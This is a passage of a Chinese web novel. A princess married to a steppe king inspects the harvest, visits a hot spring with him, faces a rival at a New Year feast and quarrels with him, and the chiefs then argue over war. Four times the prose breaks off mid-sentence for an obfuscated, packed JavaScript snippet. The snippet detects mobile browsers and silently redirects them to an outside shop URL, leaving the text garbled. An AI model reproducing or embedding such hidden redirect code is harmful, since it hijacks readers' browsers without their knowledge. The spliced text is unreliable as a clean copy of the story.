“大、大王?您怎么来这儿了?”
森布尔开门见山,直接问道:“王妃腰上的伤是怎么回事?”
桃枝闻言一怔,想起王妃的叮嘱,但犹豫了一会儿还是如实说道:“昨天青格勒的奶奶病重,王妃好心去给她看病,但那青格勒却不知好歹,还使劲推了王妃一把!害她撞倒了桌子,这才受了伤!”
森布尔虽然早就看出来江熹禾有所隐瞒,但却也没想到竟然会是这样。
连部落里的小孩也能欺负她,事后还瞒着不说……
“知道了。”
他大步走出厨房,帐帘被甩得哗啦作响。
森布尔走后,帐子里的暖意也跟着散了些。
江熹禾又睡了个回笼觉,直到被窝里的余温散尽,她才被冻醒。
“王妃,该起了。”
桃枝轻唤了一声,往她脚下又塞了一个热乎的汤婆子。
江熹禾眨了眨眼,缓了会儿才坐起身。
“什么时辰了?”
“回禀王妃,已经巳时了。”
江熹禾揉了揉后腰的伤,感觉比昨天好多了。
想起昨晚是森布尔给她上的药,虽然嘴上一直说着训斥的话,但却还一直给她揉到深夜。
江熹禾嘴角弯了弯:“大王呢?一早就去军营了?”
桃枝心虚地移开视线,含糊不清道:“应该是吧。”
江熹禾披上外袍下了床,看了眼外头的天色。
“这天气,是真的开始进入冬天了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730404|189639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她收回目光,又问:“前段时间收回来的麦子,都脱谷了吧?可别堆在外面受潮了。”
“您放心,都脱成了米粒,好好堆放在粮仓呢。”
用过早膳之后,主仆二人一起来到粮仓。
负责看守粮仓的守卫见了江熹禾,绽出一个大大的笑容,连忙打开门把她们迎了进去。
“王妃,天气这么冷,您怎么亲自过来了?”
粮仓内的温度比外头高了不少,还带着一股淡淡的麦香。
“我来看看这批麦子的成色如何。”
江熹禾走到粮袋前,随手捞了一把磨好的面粉,惊讶道:“这是今年的新面吗?瞧着倒是比往年的好上不少。”
守卫笑呵呵地答道:“正是!托您的福,咱们今年的麦子收成比往年多了五成不止,而且麦粒也比以前饱满,磨出来的面粉自然也好!现在粮仓里的粮食,足够咱们部落过冬了,再也不用像往年那样,冬天还得担心断粮!”
江熹禾碾着手指上的面粉,叮嘱道:“辛苦你们了,守粮仓的时候多留意些,别让老鼠钻进来,也别让粮食浸了潮气。”
“您放心!”守卫胸脯拍得砰砰响,“咱们每天都检查好几遍,保证没问题!”
江熹禾在粮仓转了一圈,看着堆成小山的粮食,心里无比满足。
“桃枝,去取半袋面粉,咱们今日也尝尝这刚下来的新面。”
“哎!”
桃枝利落地撑开布袋,往里面徐徐倒入面粉。
“王妃您瞧,这新面白得晃眼,蒸出来的麦饼肯定又软又香!”
“嗯。”
江熹禾心下欢喜,悄声补了一句:“今年的新面,也给森布尔尝尝。”
桃枝拎着面袋,脚步轻快地走向厨房,一回头却发现江熹禾也跟了进来。
“王妃,您怎么到这儿来了?”桃枝忙道,“烟熏火燎的,您快回屋歇着吧。”
江熹禾取下大氅放到一边,说:“你帮我生火,我来揉面。”
桃枝拗不过她,只能回到灶台前蹲下,用火折子引火。
江熹禾对下厨一事并不陌生,前些年主仆二人过得最艰难的时候,也常常自己生火做饭,做些简单吃食。
想来当初江熹禾来漠北和亲时,东靖皇帝为心爱的小女儿准备了几十车的嫁妆,光是随从的丫鬟嬷嬷就有上百人。
但后来,嫁妆被劫去充了漠北铁骑的军饷,身边的侍从也死的死,散的散。
几年下来,她身边就只剩下了桃枝一个丫鬟。
两人彼此依偎,在这苦寒之地互相取暖,说是相依为命,一点也不为过。
虽说现在森布尔对她还算上心,日子过得也没那么艰难了。但她还是习惯了许多事情亲力亲为,平时身边有桃枝一人伺候也就足够了。
桃枝至今仍记得那些蜷缩在马厩里的冬夜。
草原的朔风像刀子一样无孔不入,她们相拥着缩在角落,熬过一个又一个寒彻骨髓的黎明。
江熹禾的身子,也是从那个时候就落下了病根。
桃枝知道她每年冬天旧伤都会发作,尤其是左腿,有时候疼起来连起身下床都困难。
她不放心地提醒道:“王妃,您累了就换我来,保重身子,千万别勉强。”
“无妨,这还没到最冷的时候呢。”
江熹禾束起宽大的袖摆,开始熟练地倒水和面。
8. 玉树琼花
两人在厨房里忙得热火朝天,忽然听见厨房的门框被叩响。
青格勒绷着脸站在门口,嘴角还带着明显的乌青。
桃枝一看是他,叉着腰没好气道:“你来干嘛?又想找茬?”
青格勒面色变了变,几次想要张口,但是一看见江熹禾,嘴巴就像被冻住了似的。
江熹禾看见他手里还拎着个布袋,笑着问道:“青格勒,你拿的什么东西?是给我的吗?”
青格勒这才一瘸一拐地走上前,把手里的袋子丢在了案台上。
“这是我奶奶晒的肉苁蓉,她说……让我拿来给你煲汤喝,补补身子。”
江熹禾打开袋子看了一眼,问:“你奶奶身体好些了吗?”
“好些了。”
青格勒不自在地摸了摸鼻子。
江熹禾先前就发现他走路姿势有些怪异,此时看他抬起手,才发现他手臂上也带着几道鲜红的伤痕。
“你这是怎么了?又跟人打架了?”
“没有。”青格勒硬邦邦道,“东西送到了,我走了。”
说罢,他僵硬地转过身,又一瘸一拐地离开了。
江熹禾看着他的背影,疑惑地喃喃道:“这孩子是怎么了?”
桃枝撇了撇嘴:“肯定是被收拾过了呗,谁让他那么不识好歹的。”
江熹禾愣了一下,反应过来,“你把昨天的事儿告诉大王了?”
桃枝这才意识到自己说漏了嘴,连忙抿紧嘴唇,低头忙活去了。
江熹禾看着桌上的肉苁蓉,无奈道:“青格勒年纪还小,又因为他哥哥的事儿才那么记恨我们东靖人。你这样在背后告他的状,恐怕只会适得其反。”
“杀他哥哥的又不是我们!”
桃枝一边往灶膛里添柴,一边不服气地嘟囔。
“这些年您帮他们的还不够多吗?就是个铁树也该开花了,何况他都十四五岁了,早就不是小孩了,天天好心当成驴肝肺,总这么拎不清怎么能行!”
江熹禾知道她也只是为自己鸣不平,于是也不反驳,只是轻轻叹了口气。
森布尔巡视完营房回来,天已经彻底黑透了。
他掀开帐帘,一股浓郁的香气扑面而来。那是羊肉馅饼煎透后,油脂混着葱花的香味。
他抬眼望去,江熹禾正坐在桌边,面前的瓷盘里摆着几个油亮的馅饼,外皮煎得金黄酥脆,还冒着淡淡的热气。
森布尔揉了揉鼻子,问:“还没吃晚饭?”
江熹禾见他回来,脸上露出笑意:“等您一起呢,王还没吃吧?”
森布尔脱外袍的动作顿了顿,其实他已经在军营吃过晚饭了,但这会儿还是点点头,回答道:“还没。”
江熹禾连忙把盘子往他面前挪了挪,“刚出锅的馅饼,还热着呢,您尝尝看。”
森布尔伸手拿起一个馅饼,咬下一口,酥脆的饼皮里裹着鲜嫩多汁的羊肉馅,咸香适中,还带着点葱花的清爽。
江熹禾紧紧盯着他的表情,一脸期待地问:“王,味道如何?”
“还行。”
森布尔几口就解决了一个馅饼,顺手又拿起第二个。
江熹禾见他吃得香,笑道:“这是今年的新面,这批麦子的成色和产量都比往年好不少,味道也不错。”
森布尔看着她脸上的笑容,心头蓦地一软,但却仍是嘴硬道:“你种的那玩意能吃吗?该不会有毒吧?”
“怎会?这是我今日亲手做的,先前已经尝过了。”江熹禾连忙解释。
“是吗?”
森布尔勾了勾唇角,故意逗她:“你忙了一天亲手做的,就为了专门给我尝一尝?”
江熹禾脸颊泛红,有些难为情地低下头。
“我是想说……这批麦种确实不错,如果王也觉得可以的话,明年开春我们就可以在部落里加大种植范围,这样往后族里……”
森布尔听着,突然打断她:“你吃了几个?”
“……”江熹禾看了他一眼,小声道,“两个。”
“吃饱了吗?”
“……饱了。”
“两个就饱了?”
“……”
江熹禾无奈叹了口气:“王,我在跟您说正事呢。”
“我说的也是正事。”
森布尔丢下擦手的帕子,突然长臂一展,把她抱到了腿上坐着。
“真吃饱了?让我摸摸看。”
“别……”
江熹禾红透了脸,连忙按住他作乱的手掌。
感觉到森布尔又来了兴致,她连忙转移了话题:“王,您今日去找过青格勒吗?”
闻言,森布尔立刻又沉下脸,嘴角的弧度也收了回去。
“怎么?受了委屈不肯说,我帮你出气了还不好?”
江熹禾摇头:“我不是这个意思……只是觉得他年纪小,又有心结,您罚了他,怕是会让他心里更加怨恨。”
森布尔冷哼一声:“他要是真想给他哥哥报仇,那就上战场去冲阵杀敌!而不是在部落里作威作福,把我说过的话当耳旁风!”
江熹禾听出他的意思,惊讶地问:“您同意青格勒进入军营了?”
“之前是觉得他年纪小,又行事冲动,不适合参军。”
森布尔揉了揉她腰上的伤,语气微沉,“现在看他这幅有力无处使的样子,那就从最低等的兵卒做起好了,也能好好磨一磨他的性子。”
“这样也好,”江熹禾松了口气,“青格勒崇拜大王,一直想参军追随您的脚步,现在也算是如愿以偿了。”
“行军打仗没他想的那么简单,亲身体验几次他就知道了。”
森布尔说着,凑近她的侧脸,灼热的吐息落在她颈侧。
“给那小子找点事儿做,省得他天天找你的麻烦。”
江熹禾笑道:“也没有啦,青格勒平日其实挺听话的,每次上课他都会来。”
宽大的手掌缓缓探入衣领,森布尔啄着她的耳垂,嗓音低沉。
“天儿冷了,你还要去给孩子们上课吗?”
“……唔……”
江熹禾喘了口气,轻轻抵住他的胸口。
“左右冬天太冷,大家也是在家闲着,正好可以多学一点……”
“是吗?”
森布尔逐渐换了姿势,压迫感沉沉笼罩下来。
“那夫人今晚……也教教为夫吧?”
“……”
几场大雪一下,漠北彻底进入凛冽的严寒期。
营地里,除了巡逻的士兵偶尔踩着积雪走过,大多数族人都缩在暖和的帐子里不愿出来。
帐里的烛火明明灭灭,帐子里又多加了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730405|189639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
几个炭盆。
江熹禾裹着厚绒披风坐在桌边,翻看着孩子们刚交上来的课业。
桃枝在一旁伺候着,给她倒了一碗热乎的奶茶。
“漠北这冬天真不是人过的,刚烧开的热水,转眼就结了一层冰。”
“是啊,好在部落里粮仓充盈,大家也不用为了口吃的发愁了。”
帐子外传来沉重的脚步声。
森布尔在门外跺脚了跺脚,拍落了肩头的雪,才掀开厚厚的毡帘走了进来。
“王回来了。”
江熹禾抬头笑了笑,让桃枝赶紧给他倒了一杯热奶茶。
森布尔端起碗抿了一口,甩了甩头发上的水珠。
“附近的河水都结冰了,明天还得带人去哈伦河取水回来。”
他伸手握住江熹禾的手,拧起眉头:“手怎么这么冷?屋里炭盆不够?”
“还好。”
江熹禾抽回手,继续翻看面前的课业本。
森布尔扫了一眼,突然抬手捂住了她的眼睛。
“天天钻在屋里看书,眼睛不想要了?”
桃枝一看这架势,缩了缩脖子,抿着嘴角连忙退出去了。
江熹禾叹了口气,长长的睫羽扫过他的掌心。
“天冷,总要找点事情做,总不能天天躺着睡觉吧?”
“为什么不能?”
森布尔突然俯身凑近,手掌轻轻揉了揉她的腰。
“还疼吗?”
昨晚折腾了一夜,后腰的酸意还没散,被他这么一揉,更是又麻又软。
江熹禾连忙按住他的手,轻声求饶:“王,别这样。”
森布尔在她耳边轻笑一声,坏心思地啄了啄她的耳朵。
“走,带你出去转转。”
江熹禾捂着脖子躲开,惊讶地问:“外头天寒地冻的,去哪儿?”
森布尔寻出几件厚厚的大氅,对她笑道:“穿厚点,跟我走就是了。”
外面的雪不知何时已经停了。
两人骑着高大的战马缓缓走出营地,江熹禾全身上下裹得严严实实的,被森布尔护在胸前。
马蹄踩在雪上,咯吱咯吱的。
江熹禾艰难地扒开兜帽,抬头向外张望。
起伏的绿浪和枯黄的草甸都不见了踪影,只剩一片纯粹的白。
只有耐寒的沙棘树还挺立在雪原上,枝头还挂着未化的冰棱。
在屋子里待久了,这大片的雪白入目有些刺眼。江熹禾缩了缩脖子,呼出一大团白雾。
森布尔收紧手臂,低头笑道:“抱紧,我要加速了。”
江熹禾还没反应过来,□□的战马就长嘶一声,猛地向前冲去。
她一头撞进森布尔怀里,被寒风吹得不敢睁眼。
战马疾驰了约莫两炷香的功夫,森布尔忽然勒住缰绳,缓缓停了下来。
江熹禾缓缓睁开眼,发现他们正身处于一片矮松林中。
每一棵松树的枝桠上都裹着厚厚的冰晶,银白色的冰晶层层叠叠,被阳光一照,像是漫天飞舞的水晶。
“好美。”她仰着头,看得入神。
“这是雾凇,只有漠北最冷的日子才会有。”
森布尔的声音在头顶响起,带着浅浅的笑意:“你不是总说想看看书上写的玉树琼花吗?这就是了。”
9. 冻土下的温泉
两人骑着马往前走,穿过雾凇林,一条汩汩流淌的河突然出现在眼前。
河面冒着薄薄的白气,河水清澈得能看见水底的鹅卵石。
河岸边,几头黑牛正慢悠悠地甩着尾巴,低头啃食着水里的水草。
江熹禾好奇道:“这就是哈伦河吗?”
森布尔点点头:“底下有温泉水往上涌,所以这条河常年不会结冰。”
江熹禾挪了挪身子,想要下来。
森布尔先翻身下马,然后抱着她轻轻放在地面上。
江熹禾蹲在岸边,伸手碰了碰河面的水,温凉的触感让她弯了弯眼睛。
“看来,漠北也不全是冻土。”
“当然。”
森布尔回味着她这句意义未明的话,下意识摸了摸鼻子。
“走吧,这附近有一处温泉,泡一泡能驱寒。”
两人重新骑上马,江熹禾深吸一口气,冷冽的空气里带着松针的清香,让人心旷神怡。
又走了约莫一刻钟,就看到不远处升起袅袅的水汽。
温泉藏在林子深处的山坳里,泉眼周围的雪都化了,露出青黑色的岩石,散发出淡淡的硫磺味。
森布尔伸手摸了摸泉水,温度刚好,转头对江熹禾笑道:“怎么样?没骗你吧。”
这里的温度比外面高,江熹禾麻木的手脚终于逐渐恢复了知觉,她在池边的岩石上坐下,开始缓缓脱下身上的外袍。
森布尔则豪迈得多,三两下脱了个干净,一个猛子就扎下了水。
江熹禾拢着素白的里衣,走到池边坐下,双脚缓缓探入水中。
温热的流水包裹她的小腿,热流沿着经脉游走,瞬间驱散了残留的寒气。
她深深吸了口气,发出一声满足的喟叹。
森布尔在池子里游了几个来回,然后猛地站起身,胸膛露出水面,抬手把湿漉漉的头发都向后抓了抓。
水珠从他的下颌滑落,滴在紧实的胸膛上,又沿着沟壑分明的肌肉一路下滑。
江熹禾喜欢看他这个样子。
原始,野性,满是蓬勃的力量。
森布尔甩了甩头上的水,注意到她的眼神,挑眉笑道:“就坐边上看?不下来?”
江熹禾浅浅笑着,低头收回视线,“不了,这样就挺好……”
她话还没说完,森布尔已经游到了池边,大手握住她的脚踝,用力向下一扯。
“啊!”
江熹禾惊呼一声,下意识屏住了呼吸。
下一瞬,水花四溅,她却落入一个紧实温暖的怀抱里。一睁开眼,就对上森布尔狡黠的目光。
“光看着怎么过瘾,还是得下来亲身体验体验才行。”
他握住江熹禾的手掌,缓缓按在自己胸口,声音低沉带着蛊惑:
“喜欢吗?”
江熹禾耳尖通红,也不知道是被热气蒸的,还是被他这话给羞的。
流水轻轻漫过腰腹。
温泉的水气愈发浓郁,两人交叠的身影在其中影影绰绰。
回程路上,江熹禾手脚瘫软,任由森布尔将她紧紧抱着,随着马背的颠簸轻轻晃动。
森布尔本以为她睡着了,于是夹紧马腹,准备快些回去。
江熹禾却半眯着眼睛,隔着兜帽边缘晃动的绒毛,看向两旁飞速后退的雪景。
白雪掩埋了鲜血和尸骨,把荒芜的原野染成一片原始纯净的白。
就好像一切战争和罪恶都没有发生过一样。
“如果永远这样……就好了。”
她在森布尔怀里喃喃自语,声音很轻,混在风里,也不知是在说给谁听。
.
没过几日就到了年关。
漠北其他部落的首领都要来向森布尔献礼,共同庆贺新一年的到来。
森布尔带着江熹禾刚走到营地门口,就看见外面多了不少陌生的马匹。
鞍鞯上驮着鼓鼓囊囊的布包,几个外来的汉子正在跟守卫交谈。
“看来是胡和鲁他们到了。”
森布尔笑着抬起手,朝着门口挥了挥,“胡和鲁!”
人群中一个身材魁梧,穿着兽皮坎肩的汉子猛地抬起头,大笑道:“大王!可算见着您了!”
森布尔张开手臂走上前,正准备给老朋友一个拥抱。
一个娇小的身影突然从胡和鲁身后窜了出来,猛地扑进了森布尔的怀里。
“森布尔哥哥!好久不见!”
森布尔脚步一顿,连忙推开怀里的人,下意识回头看了一眼身后的江熹禾。
幸好江熹禾还是那副温柔带笑的样子,似乎并没有在意。
森布尔尴尬地轻咳一声,看着面前的女孩道:“乌日娜,两年没见,你长高了。”
“是两年零五个月十三天!”
女孩笑着踮起脚,一脸明媚灿烂,“我求了父亲好久,他才愿意带我一起来呢!”
胡和鲁把女儿拉到身后,对森布尔抱歉道:“这孩子被我惯坏了,不懂礼数,大王莫要见怪。”
“无妨。”
森布尔摆了摆手,退回到江熹禾身边。
“一路赶来辛苦了,快进营吧,帐子里暖和。”
一行人往营地里走着,乌日娜从父亲背后探出脑袋,一路都在打量着森布尔身旁的江熹禾。
江熹禾自然也注意到了她的视线,但是却没理会,只是挽着森布尔的手臂,脚步从容地走着。
倒是桃枝轻哼了一声,快步上前,直接挡在了两人中间,阻隔了那不怀好意的视线。
一行人进了王帐里落座,胡和鲁坐在森布尔下侧,乌日娜则坐在父亲身边。
漠北地域辽阔,各部落分散在草原各处,平日里除了紧急行军或是部落议事,一年到头也就这个时候能见上一面。
众人喝着热乎的马奶酒,大笑着寒暄交谈。
江熹禾静静坐在森布尔身边,手里执着一杯热茶,偶尔抿上一口。
她身份特殊,前两年连踏入王帐的资格都没有。虽说现在天天被森布尔带在身边,但众人还是摸不透森布尔的想法,于是都默契地选择了视而不见,谈笑中也不会主动提起这位王妃。
乌日娜像屁股下有钉子似的坐立不安,眼睛不时瞟向首座上的人,等了半天终于寻了个空挡,起身上前道:
“森布尔哥哥,我亲手为你亲手缝制了一枚护身符,祝您以后行军打仗,一往无前,战无不胜!”
说着,她从腰间摸出了一枚鲜红的护身符。
锦布是极艳的红,上面用银线绣着并蒂莲,花瓣层层叠叠,一看就知道花了不少心思。
帐内的喧嚣瞬间安静了下来,不少人的目光下意识看向了森布尔身边的江熹禾。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730406|189639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
乌日娜如今已经十八,正是情窦初开的年纪,少女大胆赤裸的心意再明显不过。
反观那位王妃,嫁来漠北已经七年,却始终一无所出。这在注重子嗣传承的漠北,是所有人都无法接受的事情。
森布尔拧了拧眉头,也偏头看了一眼身边的江熹禾。
但她仍是低垂着视线,表情淡淡的,似乎帐子里的一切都与她无关。
森布尔心里有些烦躁,伸手扯了扯衣领。
想起刚刚营门口的那一幕,人家都扑到他怀里了,江熹禾也是这幅表情。
她真这么大度?还是她打心眼里根本就不在乎自己这个夫君?
“乌日娜。”
森布尔终于开口,但眼睛却没有看她。
“你的好意我心领了,东西你还是收回去吧。”
乌日娜脸上的笑容瞬间僵住,眼眶也微微泛红。
胡和鲁看不下去,把女儿拉了回来,对着堂上躬身道:“乌日娜年纪小不懂事,还请大王,王妃不要介意。”
乌日娜被父亲按着坐下,却还是不甘心地望着森布尔,眼圈红得更厉害了。
见气氛有些尴尬,对面的塔林主动开口道:“胡和鲁首领,今年我们部落的羊群长得格外肥美。我们特意为您准备了鲜嫩的羊肉和新酿的美酒,您一定要好好品尝一下!”
胡和鲁的脸色这才缓和了一些,顺势接过话头:“哈哈哈……还是塔林懂我心意,知道我最好这一口!咱们难得好好聚一聚,今晚一定要不醉不归!”
侍从捧着酒坛上前,为众人斟满酒杯。
浓郁的酒香弥漫在帐子里,胡和鲁端起酒杯,朝着森布尔举了举:“大王,我先敬您一杯,祝咱们漠北来年兵强马壮,早日踏平东靖!”
江熹禾端着茶杯的动作僵了僵,却仍是低头沉默着。
森布尔余光看了她一眼,抬手举起酒杯:“干了!”
酒过三巡,帐内的热闹丝毫不减。
汉子们划着拳,高声谈笑着,炭盆里跃动的火光把每个人的脸庞都映得通红。
江熹禾坐在角落,长时间保持一个姿势,让她腿上的旧伤开始隐隐作痛。
她用手掌探入袖摆,悄悄按了按酸痛的大腿。
森布尔应付完一群过来敬酒的部落首领,转头注意到她的动作,刚想开口,乌日娜又端着酒杯走了过来。
“森布尔哥哥,我也敬您一杯。”
女孩抿着下唇,眼眶里似有泪光闪烁,那副我见犹怜的样子,任谁看了都不忍拒绝。
见江熹禾还是那副不为所动的样子,森布尔深吸口气,感觉胸口像是被什么堵住了,让他心气十分不顺。
“好!”
他举起酒杯,主动碰了碰乌日娜的酒杯,干脆地仰起头,一饮而尽。
乌日娜眼睛瞬间亮了,连忙从一旁拿起酒坛,“森布尔哥哥,我再给您满上!”
森布尔抬手抹了把嘴,眼睛却没离开过江熹禾,像是想从她脸上看出点什么。
“好!再来!”
两人一来一回地喝着,乌日娜先前心里那点委屈顿时消散无踪。喝到兴头上,甚至还大胆地凑上前,亲昵地揽住了森布尔的手臂。
江熹禾面前的茶水早就凉透了,她轻叹口气,对着身边的桃枝招了招手。
“扶我起来,我们先回吧。”
10. 别吵了,老婆都晕倒了
桃枝小心搀扶着自家主子,忍不住小声抱怨道:“那个乌日娜,装的一副单纯良善,不谙世事的样子,明明就是个心机深沉的狐狸精!当着您的面儿也敢这样勾引大王,简直不知廉耻!”
她越说越生气,甚至连森布尔也一起骂了。
“大王也是的!明知道您身体不好,不能受冻久坐,还跟那狐狸精喝个没完!看那两人眉来眼去的,就差贴到一块儿了!”
江熹禾脚步踉跄了一下,被她扶着才勉强没有摔倒。
她叹了口气,疲惫道:“桃枝,别说了。”
桃枝看着她的脸色,还是咽下了满腹牢骚。
回到偏帐。
江熹禾脱下了厚重的披风,在桌前坐下,疲惫地按住了胀痛的太阳穴。
桃枝连忙燃起炭盆,等到帐子里暖和起来了,又蹲在江熹禾身前,给她按揉着酸痛的大腿。
“王妃,是不是腿又疼得厉害了?要不我去给您煎两幅舒缓筋骨的药来?”
江熹禾微微摇头:“太晚了,别折腾了,我休息会儿就好。”
桃枝张了张口想说些什么,但是一看到王妃脸上深深的疲惫,还是低头沉默了下来。
感受着腿上传来的轻柔力道,江熹禾闭着眼睛,脑海里却忍不住回忆着刚才森布尔和乌日娜对饮的画面。
还有之前的那个拥抱……
女孩年轻漂亮又有活力,跟自己这幅病痛缠身,行将就木的样子截然不同。
乌日娜对森布尔的爱意赤裸热忱,直白得让人无法忽视,也让人看了心里发堵。
万般思绪缠绕在心中,一团乱麻,剪不断,理还乱。
森布尔踏着夜色回到偏帐,一进屋就看见这幅场景。
江熹禾侧身蜷缩在椅子里,头靠在椅背上,脸色苍白,长长的睫毛安静地垂着,似乎睡着了。
桃枝蹲在她身前,依旧保持着按揉的动作。
森布尔轻手轻脚脱下外衣,对桃枝打了个手势让她退下,自己则蹲在椅子前,接替桃枝继续给她按摩。
桃枝让到一边,对着森布尔的背影默默翻了个白眼,嘴里无声嘀咕了句什么,才转身退出了帐子。
江熹禾原本有些昏昏欲睡,意识沉浮间突然闻到一股浓重的酒气。
她睁开眼,看着近在咫尺的森布尔,哑声道:“回来了?”
森布尔抬手轻抚她的发顶,“怎么不去床上睡?在等我?”
江熹禾坐直身子,把腿从他手中收了回来。
“没有,只是累了,暂时休息会儿。”
森布尔被她噎了一口,还是耐着性子问:“腿疼了?刚刚怎么不说?要不要叫大夫来看看?”
江熹禾没有看他,语气淡淡的:“没事,不劳大王操心。”
森布尔心里本来就压着火气,这会儿被她这幅冷淡的态度一激,险些抑制不住。
“你中途离席为何不跟我打声招呼?身为王妃,这点礼数都不懂吗?”
江熹禾眼波微动,喉头有些发紧。
“我看大王搂着别人正在兴头上,所以才不忍打扰。”
“我搂着谁了?”
森布尔猛地拍桌,站起身怒道:“江熹禾,你给我说清楚!”
江熹禾被他吼得太阳穴突突直跳,鼻腔泛起一股酸涩。她闭了闭眼睛,轻声道:“我乏了,大王今晚还是去找别人吧。”
她撑着桌子站起身,不想再跟森布尔争执。
森布尔见她要走,一把攥住她的手腕,“你给我回来!把话说清楚!”
江熹禾本就因为腿疼站得不稳,又这样被他一扯,眼看着就要倒在地上。
森布尔心头猛地一跳,立刻俯身上前,在她倒地之前堪堪搂住了她。
“你!”
他瞪着眼睛,刚想开口斥责,却突然看见怀里的人眉头一蹙,鲜红的血痕从鼻子里淌了出来。
江熹禾察觉到异样,下意识捂住鼻子,可源源不断的鲜血还是从指缝中溢了出来。
森布尔心中的怒火瞬间被浇熄,只剩下满心的慌乱,连上头的酒意都散了大半。
“怎么了?是伤着哪儿了?”
江熹禾摇了摇头,刚想说些什么,却觉得眼前阵阵发黑,身体控制不住地软软往下倒去。
“大夫!快去叫大夫!”
随着森布尔的怒吼声,深夜的部落里又叮铃哐啷地忙碌了起来。
帐子里人来人往,大夫们进进出出,一直折腾到后半夜才重新安静下来。
血已经止住了,江熹禾仰面躺在床上,脸色比先前更差,连唇色都泛着白。
森布尔单膝跪在床前,紧紧握着她的手。
“对不起,我不该对你发火,别生气了,都是我的错。”
她指尖冰凉,像是怎么也捂不热。
江熹禾此刻也重新冷静下来,语气也不再那么疏离:“只是肝火郁结,气血不足罢了。休息休息就好了,大王不必如此紧张。”
森布尔抬手把她散落的头发勾到耳后,温声道:“你睡吧,我在这儿守着你。”
折腾了这么久,江熹禾也累了,闻言乖乖闭上眼睛,不再说话了。
森布尔良久注视着她的脸,心里反复琢磨着“肝火郁结”四个字。
她向来性子清冷,对很多事都淡淡的,任何情绪都很少外露,今日却因为他动了这么大的肝火,甚至伤了气血……
那是不是说明,她心里还是很在乎他的?
只是嘴上不说罢了。
想到这里,森布尔的嘴角渐渐勾起笑意,心里升起一股隐秘的窃喜。
只要你有一点点在乎我,那我就可以全心全意,毫无顾忌地去爱你。
床上的人呼吸逐渐平稳,紧绷的身体也放松下来。
森布尔微微探身,在她眉心轻轻落下一吻。
“睡吧。”
因为昨晚折腾得太晚,森布尔和江熹禾都难得地睡了个懒觉。
日上三竿,江熹禾被热醒,缓缓睁开眼睛,才发现自己正被森布尔牢牢锁在怀里。
她拧了拧身子,想要挣开他的手臂。
这细微的动作惊醒了森布尔,他第一时间就去看她的脸色,轻声问:“醒了?感觉好些了吗?”
江熹禾蹙着眉头推开他过于滚烫的胸膛,“都说了只是肝火旺而已,早就没事了。”
看到她脸上恢复了血色,精神也不错,森布尔心情很好,突然低头在她脸上“啪叽”一声,响亮地亲了一口。
“时间还早,再睡会儿。”
江熹禾捂着滚烫的脸颊,不给他继续赖床的机会。
“大王,其他部落的首领还在等着呢,您还是快些起来吧。”
森布尔无奈地叹了口气,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730407|189639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
低头看她。
“你感觉身子怎么样?还撑得住吗?是跟我一起去,还是就在家里休息?”
带她去,一是怕她见着乌日娜不高兴,二来也怕她身子撑不住。
但是不带她去,又怕她多心,觉得自己不重视她。
森布尔问得小心翼翼,生怕她又误会自己的意思。
江熹禾看出他的担忧,善解人意道:“我就不去了,有我在场,大家都不好尽兴。”
森布尔捂住她的脑袋轻轻揉了揉,“也好,那你就在家休息,结束了我会早点回来陪你。”
江熹禾在他怀里点了点头,轻轻“嗯”了一声。
昨晚的热闹过后,今日所有部落的首领齐聚一堂,目的是商议部落来年的各项计划,关乎整个漠北的生死存亡。
塔林作为骑兵统领,率先开口道:“启禀大王!这两年咱们骑兵队伍扩充不少,战斗力也今非昔比。最近几次跟东靖的交锋,都是稳稳压他们一头。依我之见,等来年开了春,兵强马壮之时,正是我们一鼓作气,拿下东靖边城的好时机!”
森布尔沉吟了片刻,沉声道:“开春正是播种的时候,这两年的兵强马壮也得益于麦田的种植。如果为了攻打东靖,耽误了春耕的时机,恐怕得不偿失。”
“大王!时不待人啊!听闻那东靖皇帝已经缠绵病榻,命不久矣。等我们攻下边城,抢了他们的粮仓,何愁没有粮草啊!”
